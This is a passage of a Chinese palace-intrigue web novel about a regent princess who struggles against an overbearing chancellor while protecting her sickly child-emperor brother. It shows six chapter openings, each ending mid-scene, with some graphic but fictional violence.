《有一个公主决定称帝》 1. 第 1 章 《有一个公主决定称帝》全本免费阅读 未央宫的天亮了,微弱的光芒正透过层层窗棂和帷幔照射在我的脸上。宫女小心细微的脚步声催促着我们起身。 我推了推身边的人,嗓音微哑:“该起床了。” “鸡还没有打鸣……” 我取笑:“鸡已经叫过了。你没有听见吗?” “那不是鸡鸣,只是蚊呐。” “天也亮了,你没有看见吗?” “天也没有亮,只是月亮的余辉。” “官员也都上朝了,听见他们的脚步声了吗?” “那只是宫女巡夜的声音。” 我笑着转身,用食指戳了戳他的脸颊又拧了一把:“裴御史,您真的很无理取闹。”我附在他耳边,“跟你昨晚一模一样。本宫还以为今早酒醒了,您会正经点儿呢。你的长公主殿下要上朝了。” “我昨晚没醉。”裴仲琊握住我的手贴近他的面颊,上头还残存着朦胧暧昧的暖意,“我就是想见你了。三个月了,我们从没有分开那么久过?” 我嗤笑一声,收回手:“以前我们有婚约,如今各自嫁娶,还有什么好见的?” 他淡漠的眼眸沉默地望着我,忽然起身在我脸颊上轻轻啄了一口:“我没有。” 我用食指抵着他的嘴唇将他推远,警告道:“裴御史,您是还没有成亲但并不代表我没有。驸马可是每日都会来殿前陪我上朝的,你们裴家在宫中眼线那么多,我不信你不知道。” 我从榻上站起,抬脚就要从他身上跨过。裴仲琊却长臂一伸,将我拦腰抱住。一瞬间天旋地转,我又被他压在了身下。 “一次两次的我也就随你了,大清早的宫女们都要来催了,你还想怎么样?” 脖颈间痒痒的,裴仲琊如墨般的长发散在我身上,犹如绸缎般将我罩住。他的胸腔起起伏伏,心脏安稳而清晰地跳动,想把小锤子一般敲击着我的胸口。 头发又绕在了一起。 我从窒息滚烫的拥吻中生还,他还趴在我身上乞求着更多的温存。 “你明明很讨厌田议。”亲吻的喘息中偶尔滚出几句笃定的话,“你讨厌极了他,可你还要嫁给他。” 这说的什么话?我气急败坏,一把将他推开坐了起来:“裴仲琊,请你行行好说句良心话。我如今虽贵为长公主,但我的去与留,我的婚姻,乃至是我弟弟和我的命,是我说了算吗?是我还是你父亲?我与你解除婚约不过半月,你父亲便在朝堂上推荐田议为我驸马。我问你,我除了听你父亲的话,我还能做什么?那时候不见你站出来,如今到是会在我面前说风凉话了?”我将大袖随意一披,掀起帘子就下了榻,“我看你那些温情暖意全部都是装出来的,还在我面前装得多深情不舍,谁知道你是真心想我,还是为了来当你父亲的眼线……啊!” “我说错话了。”裴仲琊连忙从榻上起来拉住我,“我错了,你别生气。” 我不想理他,甩开手就叫人进来梳洗。 彤管使们早已见怪不怪,萱萱更是当没看见裴仲琊一般,端着衣裳径直走向我。 “陛下呢?” 萱萱答:“陛下已经梳洗完毕,启程去往宣政殿了。” “夜间还发热吗?” “热症已退,只是半夜偶有噩梦惊厥,服药后能睡到五更。” “进食如何?” “昨日吃了四餐,早膳清粥一碗,芸豆十颗,蒿菜六筷;午膳粟米一碗,鲫鱼半根,芥菜少许,鸡肉未食;晚膳芥菜馄饨一碗;消夜一碟三个豆腐包子。” 还是吃不下荤食。 我洗漱穿戴完毕,萱萱替我绾发。工匠们又做了许许多多好看新奇的首饰,我拣起一支菱形金花步摇擿递给萱萱:“今天就用这一对吧。耳饰要新送来的琉璃珰,大佩就用昨日的。” “织室新做了一双丝履,说是用的新织法,轻便又好看,给殿下您拿来?”萱萱询问。 我捻了一点油膏将鬓角的发丝抹平,点头说好。 侍女们开了窗,檐下风铃叮咚,纱帐流苏随风飘摇,缠绵得像一对有情人。裴仲琊坐在身后不远处,一直目不转睛地看着我。我冲镜中的他撇嘴笑了笑:“萱萱,给裴御史也梳洗一下吧,要上朝了。” 萱萱很听话,面不改色地拿起地上的衣裳要给裴仲琊套上。裴仲琊无声接过穿好,就着我的洗面水随意擦洗一番,又走到我身边?了一点香膏抹在脸上。 “藤萝香。”他看着香膏在掌中一点点洇开,“第一次见你的时候,也是在藤萝下……” 我没有理会他突如其来的思旧情绪,丢给他一把玉梳:“把头梳好,你就可以走了,不要让别人看见。” “我难道不能和你一……” “殿下。”萱萱匆匆赶来,瞥了一眼裴仲琊也没停,附耳说道,“驸马已在外候着,说要与殿下一同上朝。” 我最后审视了一下自己在镜中的容颜,得体、端庄,正是一国长公主该有的样子。 我起身,裴仲琊仰头望着我,眼中尚有未褪去的血丝,清冷苍白的面颊在宿醉过后更显出一种倦怠的慵懒之感。我低下头,看着他:“您看,我有夫君陪我上朝,还是您父亲亲自替我挑选的好人家。” 说罢,就要走出去。脚踝却突然被人抓住。 裴仲琊起身:“我先走。早春的清 2. 第 2 章 《有一个公主决定称帝》全本免费阅读 宣政殿百官黑压压一片立在堂下,姜旻咳嗽了几声,弱小的身形勉强支撑着扶手,沉重宽大的朝服和冕旒压得他喘不上来气。 裴开项双手执笏,言辞凿凿,堂下人人闻之眉头紧锁,交头接耳小声议论,一时之间嗡声鸣鸣。 “陛下,楚王、鲁王、胶东王、淄川王与广陵王近月频频异动,有使来报,该五人交流过往甚密,且三月来向周边郡县购买粟米二十万余石、农具几万支,恐有生变嫌疑,还望陛下早日戒备、早做打算。” 姜旻望着底下的裴开项,想了半晌方道:“朕听闻,近几年江南灾荒,许多流民流入鲁南地区,粮食不足也是常有之事。且流民增多,也需安置人家开垦种地,进些农具怕也是不为过。” “陛下,鲁南之地豪绅收买田地严重,百姓田地尤为缺失,佃农、雇农的营生也多为本乡人占据。流民入鲁南人多地少,购买粟米之事尚且能说,但农具铁具的购入却着实令人可疑。” 姜旻在龙椅上患者他的脚丫,朝身边的随侍宦官看了一眼,撇撇嘴道:“可广陵王为我叔父,楚王鲁王为我长兄,若他们没有歹心而朕无端猜忌,岂不惹人心寒?” 群臣哗然,窃窃私语。 我无奈叹气,微微掀起珠帘,朗声道:“陛下久病初愈,又仁心至厚,不愿兄弟阋墙、手足相残。然郡国大量购买粟米与铁具之事非同小可,此事暂且按下,待本宫与陛下商议之后再行定夺。” 朝会又过了一些各地初春粮食种植、天象雨水相关的奏疏,底下无人再议。我拂手要退朝,郭太常忽然走出来禀报:“陛下,长公主殿下,臣有本奏。下月乃太后四十四岁冥诞,臣已命人罗列祭祀所需贡品牺牲,还请陛下殿下过目。” 太常的话如同惊雷一般将我炸醒,脑袋耳朵嗡嗡作响。 原来阿娘已经仙去那么久了。 姜旻将祭祀单子上下仔仔细细过了一遍:“不够,这怎么能够!阿娘的祭祀一定要用最多最好的东西!” 郭太常面露难色:“这……祭祀用具的种类和数量都是定好的,不能逾矩啊……” “什么不能逾矩?我看你们就是把太后都忘了!还假惺惺地提起来做什么!” “陛下……”我立即出声,“国行有道,不可因人肆意改动,就按郭太常说的办吧。” 姜旻扭头看了我一眼:“姐姐!” 我没有说话,只冷静地看着他。他没有答应,皱了皱鼻子朝太常喊道:“要加!这不够!” 这下郭太常也拿不准主意了,朝站在身边的裴开项看去。 裴开项肃立着,微微抬了抬下巴:“郭太常按制行事,为国为君,陛下切不可责怪。然陛下年幼思母心切,乃人之常情,也并无不可。郭太常——就按照陛下的意思,再增加些吧。” - 裴开项的宽容让我觉得颇为奇怪。他不喜欢我们,说的严重点,他非常厌恶我们——厌恶姜旻的顽劣幼稚,厌恶我的跋扈不逊。甚至对我们说过,我们不配为太后儿女的言论,气得我一整晚都睡不着觉。 他这么专制严苛,才是最应该被讨厌的那个人。 散朝后我牵着姜旻回宫,他却一把把我的手甩开,气鼓鼓地朝前走去。 “姜旻。”我喊他,他却没有应我,径直跑向自己的寝殿。 “跟上。”我随意指了个彤管使,“让陛下好好吃药休息,我下午晚些时候去看他。关于诸侯国的奏书,叫人拿到广明殿。” 姜旻年纪小,虽是阿娘的孩子,但是出生的太晚了。前头兄长太多,不安分的也太多。父亲是个明事理的,母亲是个手段狠的,才能将他这皇位保住。可父母都已经不在了,偌大的宫廷,只剩下我们姐弟俩,那盘踞鲁东之地的兄长叔父们,如何能不垂涎我们这块久居深宫的肥肉呢? 萱萱花了很长的时间才将奏折送到我面前,我问她缘由,她面上没有好颜色:“裴相不在,他手底下的人不给,驸马爷也隔岸观火,还说些冠冕堂皇的话。” “他说什么?” “他说这些奏书看着烦人,就交给裴相和他们处理,公主殿下还是专心游玩赏乐、照顾陛下就好了,剩下的,等陛下身体康健再交由陛下处置,您也好撂开手,回他们田府享乐了。” 真是田议一贯的做派。我冷笑一声:“我们这驸马还真是日日夜夜盼着我回府呢,就想着让姜旻自爱宫中无人可依,只得听裴开项的话,是吗?” “殿下——”小蛮从外搬着几叠竹简进来,“裴御史将奏书送来了。” 我一抬眼,只见裴仲琊已然褪去朝服,着一身黛青色直裾,外罩薄纱褝衣,身型瘦削挺拔,腰坠玉璜珊瑚佩,行动间声音清脆如冰裂。彤管使伺候他脱去丝履,他缓步上前,振袖作揖行礼,朗朗如清风:“臣裴仲琊,问殿下安。” “裴御史起身吧。” “臣闻殿下关心诸侯之事,特整理出近几日要紧的奏书送来给殿下,还请殿下过目。若有任何疑虑之处,殿下亦可以询问臣下。臣便在此候着。” 我没拿,抬眼望向坐于下首 3. 第 3 章 《有一个公主决定称帝》全本免费阅读 我生平第一次觉得温室殿离我那么远。 快一点,快一点!我一遍又一遍地催促着。 宫巷阴冷潮湿的风吹开羊车的纱帘扑面而来,裴仲琊抬手替我遮挡。我一把打开他的手,怒目圆瞪:“别碰我。” 晴天一声霹雳从温室殿内穿出,刺耳的声音穿墙过廊,回音重重。我四肢僵冷,面不改色地走下羊车,重整衣冠,大步朝殿内走去。 宫女宦官跪满了整个宫殿,各个俯首发抖不敢出声。姜旻瑟缩在床榻角落,手握匕首,面目憎恨地看着裴开项,嘴里哭喊着,却是半分不敢上前。 温室殿正中央,宋君若袒胸露背跪着,额上颈上臂上青筋暴起,满脸涨红,冷汗涔涔而下。打龙鞭毫不留情地打在他的脊背上,他却紧咬牙关、一声不吭。 “裴相!”我跌跌撞撞地扑过去,死死拉住裴开项的手,“裴相,竖子顽劣,还请您念在他们年幼无知的份上饶了他们。求您——” 裴开项缓缓掀起眼帘,鹰眸如剑光般寒冷。他瞥向站在我身后裴仲琊,不喜不怒,只盯着他。 裴仲琊没有说话,拖着步伐走近几步行礼:“父亲。” “你何故在宫中?”裴开项完全没有理会我,他一把挣开我的束缚,转向裴仲琊,“裴御史是要参谁?” “……没有。” “若真要参谁,你也该来温室殿,而不是去广明殿叨扰长公主殿下。”裴开项的话犹如千斤巨石般压的我们喘不过气,“你越来越不懂规矩了。也该罚。” “裴相!”我急忙又拉住他的胳膊。 宋君若的背上血痕交错,鲜血淋漓,挂在腰上的衣裳都被鲜血浸湿,已经不能再打了。 “裴相,他们究竟犯了什么错,还请您……还请您原谅他们。”我努力平静着声音中的怒气和恐惧,向他请求,“姜旻才十一岁,他只有十一岁。” “十一岁?”裴开项仍旧没有收起打龙鞭,“十一岁在民间尚是小儿,可陛下是皇帝,是整个大齐的君主和未来。如果十一岁是年纪小,那还要等到陛下几岁才能算是真正成人呢?大齐的百姓会等吗?边境的阿勒奴会等吗?还是那些诸侯王会等?” 宋君若猛地吐了一口血水,瞪着双眼自下而上地看着他:“裴相真是巧舌如簧,不知道的还以为裴相是文官出身呢。以下犯上,以臣犯君,裴相可真是冠冕堂皇,义正言辞!” 啪! 又一鞭子抽在了宋君若的背上。我吓得浑身震颤,直接扑倒在宋君若身上:“您别打了……裴相,求……求求您……” 我发不出声,屈辱的愤恨在我心底熊熊燃烧,无数咒骂训斥的言语冲上喉咙,临到嘴边却只有求饶。 “求求您……别打了……”眼泪不知何时已经侵袭我的面颊,我双膝跪地,仰面无助地望着他。 裴开项完全没有理会我的求饶,打龙鞭再次高高扬起、重重落下。我紧紧地抱着宋君若,可鞭笞的疼痛却没有落到我身上。 我不可置信地睁开眼睛——裴仲琊正挡在我们面前,左手紧攥着鞭子,殷红的鲜血正顺着他的手腕、袖子滴落到地上。 他脊背挺直,目光坦然直接地看着自己的父亲,语气却淡漠平静:“父亲息怒。裴家虽有先帝所传打龙鞭,但此事若闹大了,于我们裴家也不利。” 裴开项行伍出身,久经沙场,力大如牛,裴仲琊胎中不足,素来多病,鞭子虽没有打在他身上,可他一介儒生必定难以承受。宋君若重伤在身,姜旻惊惧出窍。我四下环顾,双膝一软,“扑通”一声跪在了裴开项面前。 “无论他们犯了什么错,都请裴相宽恕他们。您是三朝元老,戎马一生,勤王无数,为国为民鞠躬尽瘁。姜旻年幼无知,是以父亲母亲让您教导训诫,还请裴相看在先帝太后的份儿上,饶了姜旻这一回吧。” 裴开项冷眼盯着裴仲琊,收起鞭子,质问道:“那请问长公主可知陛下犯得什么错?臣今日散朝并未出宫,直奔温室殿只为与陛下商讨讨伐五国之事。然陛下非但毫无忧患意识,甚至咒骂臣等狼子野心,谋动干戈于邦内,妄图挑唆萧墙之事。先帝赐臣打龙鞭,便是要臣正君王、清朝纲、兴国邦。然陛下毕竟是君主——”他指了指面色苍白的宋君若,“臣子要替君主受罚,乃忠义也;臣承先帝遗志,亦是忠义也。依长公主见,可有半分不妥?” 四肢发冷,胃里痉挛,面对裴开项,没顶的压迫与恐惧潮水般袭来。我深吸一口气,缓缓抬起头仰视着他,眼角的泪却不可遏制地流了下来:“并无不妥……” 裴开项低头望着我,在我的脸上逡巡了半晌,移开目光:“那殿下继续还要跪着吗?” 裴仲琊闻言连忙要将我扶起来,我暗自使力挣开他的双手,走近几步来到裴开项面前,艰难地扬着嘴角,讨好他:“先帝太后已然仙逝,我们姐弟俩如今能安稳地待在宫里,尽仰仗您的照拂。日后我也多多规劝陛下,让他尽早成为一个明君,还请您……不要失望。” 我的伏低做小极大地平息了他心中的怒火。裴开项向角落望去,姜旻空洞的双眼中眼泪如同泄洪濡湿满面。裴开项提步向他走去,姜旻忽然狂乱发作,拼了命地挥舞手中的匕首嘶吼尖叫:“你不要过来!你不要过来!你这个乱臣贼子!乱臣贼子!” 我连忙拉住裴开项的衣袖,紧紧攥在手中:“陛下惊扰过度,神思错乱,口中皆是浑话,做不得真!不管是对伯父还是父亲,您的忠心朝臣百姓皆看在眼里,是陛下生病糊涂了。” 裴开项扭头问我:“殿下真心如此觉得?” 我一口冷气凝在胸中:“是……” 他轻轻一笑:“自去年先帝驾崩继而太后薨逝,太多的流言蜚语充斥在宫廷中。说在下有不臣之心,可老臣如今已是知天命的年纪,这一生是如何对皇上,对朝廷,对百姓的,殿下虽十八,但想必也是历历在目。流言、猜忌最伤故人心,殿下乃陛下长姐,长姐如母,务必要好好教导陛下、正肃宫纪才是。” “我……我明白。” 姜旻口中仍在呓语,裴开项觑了他一眼,转身朝殿外走去,又在裴仲琊身侧顿了顿。裴仲琊垂眸颔首,没有看他,也没有说话。 裴开项面色凝重,半晌无语,扬长而去。 温室殿好似突然活了过来,众人皆长长呼出一口气。萱萱一直在外候着,见状连忙将太医叫进来,又把闲杂侍从 4. 第 4 章 《有一个公主决定称帝》全本免费阅读 掖庭回环曲折,宫苑层楼叠榭、鳞次栉比,前几座宫室还稍微像点人能住的样子,但是越往后走,越见断壁颓垣、草木枯败,间或还有几个蓬头垢面的年迈宫女挤在破旧的木门前争相朝我们挥手。她们露着一嘴不剩几颗的黄牙,疯笑着:“陛下,是陛下吗?陛下,您终于来看臣妾了陛下……陛下,臣妾给你生了好多个孩子,陛下您来看看啊陛下……哈哈哈哈,陛下,您别走啊,我给您生了好多个,您封我做皇后吧陛下!陛下——” 枯瘦的手臂像古树的藤蔓般从门洞里伸出来,蜷曲黢黑的指甲像利爪拼命朝着裴仲琊勾着:“陛下,是不是身边的这个女人迷了你的眼,陛下……陛下……” 我一把将裴仲琊拉倒身侧,几步退远。随行的守卫冲上前狠狠地砸了几下门,怒吼道:“死婆娘发什么疯!给你几个胆子敢冲撞贵人!” “死婆娘?你个狗崽子竟然敢骂我死婆娘!你这个狗头彘脸的□□也敢这样说我?我是皇帝的妃子!我是要做皇后的人!皇上临幸过我三回,你呢?你有吗?你怕是连皇上的面都没见过吧哈哈哈哈哈——你看看你这个年纪,没准……你还是我和皇上偷欢生下来的孩子呢哈哈哈哈哈……来啊,乖儿子,叫声娘来听听哈哈哈哈……” 守卫气得要开门打骂,我出声制止:“行了,跟疯子有什么好计较的?带路!” “啊——”那老宫女又尖叫起来,她的眼睛犹如泛黄宣纸上烧出来的两个洞,一瞬不瞬地盯着我,“你——你——就是你!就是你这个贱人!就是你抢走了我的皇后之位!刘既嘉!我死都不会放过你!我死都不会放过你!你个不会下蛋的母鸡,嫁给陛下那么多年都只剩下一个女儿,女儿还要病死了哈哈哈哈!这都是你抢我后位的报应!是你对陛下不忠的报应!” “把她舌头给我拔下来!”胡言乱语的疯子,早该死在这荒无人烟的掖庭里。 守卫一脚踹开破门,扯着她枯草般的头发丢到我面前。她就像一把细瘦的火柴,零零散散地被人遗弃在地上。 她笑着抬起眼帘,看了看我,又朝我身边看去,瞳仁忽然一震,连忙瑟缩着后退:“你不是陛下……你不是……我认错人了。我……裴……我……我再也不敢了,我再也不敢乱说话了……” “殿下。”守卫看着我。 “妖言惑众,拔舌,扔出未央宫。” 守卫恭敬应声,随意从地上找了块草团塞进老宫女的嘴里,衣襟一抓就往外拖去。她口中呜咽,浑浊的眼珠在我和裴仲琊身上来回徘徊,忽然恍然大悟似的闭上了眼睛。 我自椒房殿出生,生长在未央宫中最金碧辉煌的广明殿。我以为大齐的每一座宫殿都该和广明殿一样,宽阔、美丽、雕梁画栋,仆从前呼后拥,美景美食享用不尽。 可事实并非如此,宫里女人很多,但需要的女人却很少。未央宫的宫室很多,但能住进去的人也很少。如今广明殿还是我的广明殿,但有朝一日,那掖庭也未必不是我的归宿,那老宫女也未必不是我的将来。 就如同现在我面前的这个女人——蔡姬。那曾是整个未央宫中最美丽的蝴蝶,最动听的百灵鸟,是我对“女人”这个身份最初的印象。武陵侯于封地进贡的歌姬,一曲《武陵春》就俘获了这个国朝最有权势和地位的男人,从此千娇百宠、金屋贮娇,三千佳丽难及。 母亲曾说,这巍峨重叠的未央宫,都因为蔡姬的存在而平添了几分光彩。我曾见过她跳舞,柔软的腰肢好似太液池旁的柳枝,翻飞的身姿像是望舒仙子飘飘然冯虚御风,美艳不可方物。 这座宫殿一定没有见证过比她还耀眼的女人,可她如今却被人断手断脚装在了一个小木桶里。肉糜腐烂的气味从我一开始进入这间屋子时,就拼命往我鼻子里钻,肠胃抽动,一股酸液用上喉咙,我连忙冲了出去扶着柱子呕吐。 裴仲琊脸色也不好看,青白青白的,眉头紧锁着,一手捂着胸口,一手要来扶我。 我推开他,抹去脸上的泪水和唾液,质问道:“你带我来这儿,你不怕你父亲知道?” 裴仲琊仍旧伸手将我扶到一边,与我并肩而坐。他一瞬不瞬地盯着我,从袖里拿出一块绢帕替我擦拭嘴角:“还难受吗?难受的话我就先回去,明日再来。或者你什么时候能适应了,我就陪你来。” 他说的话轻声细语,仿若恋人呢喃,他还是我那翘首以盼的未婚夫婿。我胸口一痛,心一横,咬牙又要去打他的手。可他的眼眸沉静如潭,深不见底,对我的抗拒熟视无睹,擦嘴角的手也毫不退缩:“别拒绝我……如今我能为你做的还有多少呢?就当是为我好,让我留个念想吧。” 我的手僵在半空,终是垂了下来。 “你如今能违抗裴开项,不过就是仗着独子的身份和他对你母亲、你亡兄的歉疚。你还真以为能事事随自己心意,他从此就不管你了?若你真能,那当初我们也不会……”我抿唇不语,半晌又开口,“——我母亲去世后,蔡姬暴毙而死是假象。是谁折磨她把她关在这里?” 裴仲琊沉默地看着我。我皱眉:“裴开项?为何?蔡姬与你父亲有什么过节,值得他大动干戈对付一个死了丈夫就毫无权势的女人?” “我不知道……父亲的很多事情我都不甚清楚。就如同你,曾经的我也只是个渴望有情人终成眷属的男人。”他说得好自然,就像这些话在很久很久以前就该讲给我听了一样,“温室殿的宫女说,陛下散朝后接见父亲,与父亲大吵一架,而后二人便来了掖庭。所以我想,陛下失心,怕是与蔡姬脱不开干系。” 而后二人便来了掖庭。这话说得可真是委婉,姜旻应当是被裴开项裹挟着抓到掖庭的才对。 “我去见见她。”我说道。 裴仲琊拉住我:“如果受不了,我替你进去。” 我推开他:“我可以。” 蔡姬已经不能称之为人了——头顶上是鸟窝一般杂乱的头发,血水结块将发丝团结在一起,白色黑色的虫子满头满脸地爬。面上血坑斑斑,是被虫子啃噬的痕迹。我走进几步,强忍着恶心看她。蔡姬已是进气少出气多,她艰难地睁开红肿的双眼,辨认站在她眼前的我:“刘既嘉……你没死?不可能啊,我明明……我明明……” 我没有再动,只是盯着她,模仿母亲的语气:“是啊,我没死,好好地活着呢。” “不可能……不可能……我已经把他们给我的东西全部下进去了,这……不可能……”蔡姬脸颊抽搐,“我明明看见血流了一地,你明明已经咽气了……这不可能……还是,还是我已经死了?是我死了吗?是吗?” 她越说越兴奋:“哈哈哈我终于死了,裴开项那个老畜牲还想折磨我,哈哈哈那我就死给他看!” “他为什么要折磨你?” 蔡姬的眼睛是黑暗中的鬼火,她空洞地瞪着我:“当 5. 第 5 章 《有一个公主决定称帝》全本免费阅读 温室殿烧着炭火温暖如春,姜旻仍旧沉沉睡着。宋君若倒是已经一觉醒来,让人扶着在吃东西。 他见我进殿,推开侍女就要下床。我快步上前按住他:“快坐好,别乱动。” “姐姐,裴仲琊带你去了哪里?他有没有把你怎么样?是不是又说了很多蛊惑人心,让你可怜他的话?” “他没说什么。”我将饭碗重新塞到他手里,“他带我去了掖庭。阿旻被裴开项吓成这样,我得去看看掖庭里他到底藏了什么。” “裴开项若是真的藏了东西,他裴仲琊会出卖自己的父亲吗?” “哪有什么出卖不出卖的。把人放在掖庭,可见裴开项本就没打算隐瞒。” “什么人?” “蔡姬,蔡婕妤,你还记得吗?武陵进贡的歌姬,父亲生前十分喜爱她。” “她……怎么了?” “被裴开项做成了人彘。” 宋君若哑口无言,半晌才说话:“不过一个无子歌姬,无权无势,裴开项用得着这样?” 我笑了笑:“是啊,哪用得着这样。” “可见他们裴家家训就是残暴不仁……啊!” 我打了一下他的头:“改改这胡言乱语的毛病。还说要当大将军,祸从口出的道理都不知道。” 宋君若瘪嘴揉了揉脑袋:“那那个人现在在哪儿呢?出宫了吗?” “哪个人啊?人有名字,叫裴仲琊。”我接过萱萱拿来的碗筷,一同陪宋君若吃了起来:“我已经送他出去了。” 宋君若闻言,面上仍旧没有好颜色:“那个人……比裴开项还可恶!明知你看见他心中就难受,明知自己改变不了任何事情,还非要再来招惹你。他若是真的为你着想,他就应该离你远远的!” 我往他嘴里塞了一块肉:“你个小孩儿懂什么。” “我不是小孩子了,我十六了。” 我曲起手指,关节在他的额头上轻轻敲了敲:“在我眼里,你什么时候都是小孩子。” “姐姐!他们裴家……没一个是好人,那个裴仲琊更不是个好东西!” 我哭笑不得:“小时候你还天天跟在他屁股后面,‘哥哥哥哥’地叫呢,如今就是‘裴仲琊裴仲琊’‘那个人这个人’了。” “谁叫他哥哥了!我可从来没叫过!” 我又往他嘴里塞了半块饼:“行啦,吃饭都堵不上你的嘴。” 宋君若边嚼边试探:“姐姐,你……你还喜欢裴仲琊吗?” 掰饼的手一滞,我自嘲一笑:“不喜欢。” “那我听闻今早……” “昨日是他当值,来我殿中只是商讨国事,没别的。我们如今虽无任何瓜葛,但至少还是君臣,国有要事,我们也会公私分明。”我拍了拍他的肩,“饭吃完了就好好休息,我先去看奏书,过会儿再来看你们……” “姐姐!”宋君若一把拉住我的手腕,她仰头看着我,神色有些急切,“姐姐,我……我不是质问你。我只是……我只是觉得裴仲琊很不好!他让你伤心,让你难过,他还不能陪在你身边。我不想你这样,你以前不是这样的……姐姐,我会陪着你,我会一直陪着你!” 我笑着,顺着他的力道伸手摸了摸他的脸颊:“姐姐知道,姐姐也会一直陪着你们的。这偌大的宫殿,人太多,但能信任的人又太少。只有你们,我只有你们了。” 宋君若抓着我的手,神情郑重:“姐姐,你相信我,我一定好好习武读书,一定保护好你和陛下。” 我为难地看着他背上伤,伸手轻轻抚过:“还疼吗?” 宋君若耳尖微红,说话支支吾吾:“已……已经不疼了,就是热热辣辣的。姐姐,我皮糙肉厚,我不怕!” 我招呼萱萱拿来冰绡纱衣给宋君若披上:“这蚕丝轻薄透凉,你穿着睡,会好受些。你……你以后这样莽撞了。” “那怎么能?阿旻不仅是皇帝,也是我从小看着长大的弟弟。裴开项这般欺辱他,不仅带他去那肮脏之地,竟然还要打他!?裴开项根本没有将他这个皇帝放在眼里。君臣君臣,从来都是君在前,臣在后,哪有臣子违逆君主的道理!” 我垂眸失笑:“君臣之衡,在于权。君权威严,则臣子服;君权式微,则天下乱。周天子的下场还没看够吗?你看如今阿旻……或者说我这个长公主,有什么威严威权吗?当初父亲被裴开项囚于幽室,魔魇发疯,若非阿娘处变不惊,做事果决利落,携太后印遍邀长安官眷软禁于未央宫,逼迫那些朝臣参加阿旻宗庙祭祀,你以为他如今能坐上这个位置?裴开项能废立父亲,便也能废立我们。人在屋檐下不得不低头,如今可不是说什么权臣之威的时候。” 宋君若咬牙愤愤:“可这明明是姜家的大齐……” “它是。”我答道。 夜风习习,烛火摇晃,纱幔飘荡,暗香浮动,炭火于寂静中跳跃一声。 “我也会让它,永远都是。” - 姜旻的病没有好全,连着几日起来都精神恍惚,看见冕服就往床榻角落里躲。我无奈只能替他称病告假,裴开项却没有歇朝,仍旧将朝臣们聚在一起商讨政事。 鲁南五国动作频繁,却迟迟没有下文。朝中众人不免提心吊胆,也有部分朝臣生出了许多大题小做的言论。早朝众说纷纭,一时争吵不开,过了晌午,一群人就浩浩荡荡冲进了温室殿。 姜旻尚在午休,我望着底下吵嚷的老臣新臣,太阳穴突突的跳。 “陛下呢?如今国中发生了如此大事,陛下怎还能缩在殿中闭门不出?” “陛下如今身体堪忧,你还要这般吵嚷,还说我是奸佞替诸侯王说话?我看你才是奸佞!” “你若是说其余诸侯王因为年前江东涝灾屯粮屯铁是未雨绸缪,尚且还有一丝可信。可那是胶东王和楚王!他们什么样的心思什么样的家底陈大人您不知道吗?野心昭然若揭,你还替他们说话,八成是收了不少他们的好处吧!” “我看你是收了裴家的好处!”方通一语惊雷,在场众人纷纷噤声,“你看看你们,只要一提他全都默不作声!你说胶东王和楚王的势力,那我就要说说他们裴家的势力!如今管钱的是他们裴家,管兵马还是他们裴家。他们逼迫陛下出兵,不过就是要个出师有名。等钱财兵粮出了长安 6. 第 6 章 《有一个公主决定称帝》全本免费阅读 “姐姐是什么意思?”众臣退下,姜旻直愣愣地看着我,眼中有种难以描摹的不可置信与愤怒,“姐姐是同意出兵了?姐姐难道看不出来裴开项的狼子野心吗?他就是在等这个机会!他不喜欢我们!他时时刻刻都在想着如何让我们下台,如何让权力握在他自己手里!” “阿旻,姐姐和你一样憎恨裴开项,但如今我们不能被眼前的愤怒与恩怨蒙蔽。你必须要好好想想,到底谁是我们的敌人,谁是我们的盟友。” “盟友?难道裴开项会成为我们的盟友?他若是对我们姜家忠心,他就不会把父亲关在幽室里把他活活逼疯!他也根本没有想过让我当皇帝!他原本是想立楚王为帝的!” 我一怔,抓住他的胳膊质问道:“这话谁告诉你的?” “甭管是谁告诉我的!但事实便是如此!” “那个人是谁?他在诓骗你!阿旻!父亲暴毙后裴开项根本没有机会没有时间勾结其他诸侯王,母亲直接拥立你了呀!” “母亲拥立我不假,但裴开项勾结楚王之事也不假!我都已经听人说得真真切切的了,姐姐你也别想骗我!”姜旻眼睛血红,目中癫狂之色仿若我是他的什么仇人,“姐姐你还喜欢裴仲琊对不对?你还喜欢他我知道!我已经不止一次看见他从广明殿中出来,你们分明仍旧在一起!姐姐,你难道要为了一己之私,断送我们整个大齐江山吗?难道裴仲琊在你心里比父亲母亲还要重要吗?” 我不知道到底是谁同姜旻说了什么,这个与我一母同胞的弟弟此时此刻竟将我当做背叛者一般驳斥训骂。怒火在心中熊熊燃烧,我深吸几口气,勉强挤出一个笑容,对他和颜悦色道:“阿旻,我们是骨肉至亲、血脉相连,姐姐如何会放弃你去向着外人?姐姐是在帮你。裴家势大,于我们而言确为心头大患,但如今我们真正亟待解决的是那些足以动摇我们皇位的人——胶东王与楚王才是我们真正的敌人。 “你说裴开项勾结楚王。那我问你,他若是真想推翻我们,与鲁南五王密谋即可,何必在他们尚未有动作之时就一而再再而三的提起呢?你甚至因为此事被关到了掖庭,阿若遭受了鞭笞。他所做这一切就是为了引起你的重视,你这个皇帝的重视。他手握虎符,又是行伍出身的三朝元老,为大齐立下赫赫战功,五王若是谋逆,他想出兵简直易如反掌,无人敢不应。可他为何又如此在乎你的命令呢? “他在乎你的皇位,他不想让除你以外的任何人当上大齐的皇帝,你明白吗?” 我看着姜旻,期望他能理解我的良苦用心:“出兵之事势在必行,你听姐姐的话……” “我不相信。”姜旻盯着我,从我身边站起,“我们的敌人从来都只有裴家,他们是整个大齐最大的蠹虫毒瘤,官爵任命、皇储废立、税租田收、兵戈伐止尽归于他们控制,只有除掉他们,那我们的大齐才能真正活过来!” “而你……”姜旻双拳紧握,眼中含泪眼底却有火花,他咬牙,“姐姐,你明明很讨厌他们的,你明明应该和我一样厌恶他们的。当初决意和裴家接触婚约的是你,为了我和裴开项争吵的也是你,可为什么……为什么在这件事上,你就要站在我的对面呢?你就像往常一样支持我,不行吗? “我才是皇帝,我才应该是那个发号施令的人!我才应该是那个告诉你们什么该做什么不该做的人!” 姜旻站立着,用高于我几寸的视线俯视着我。 我掀起眼皮看他,半晌没有说话。 萱萱见状,连忙上前几步打圆场:“陛下的药煎好了。表公子方才也叫人来传话,说今晚再过来让太医看看伤势。” 我压下心头烦躁,摆摆手:“先服侍陛下喝……” “我不喝!”姜旻大吼了一声,几步冲到小蛮面前,一甩袖子将药碗掀翻。吓得小蛮立即跪下,黑色的药汁湿淋淋地从她的额上滑落。碎片满地,姜旻怒气冲冲地朝外跑去。 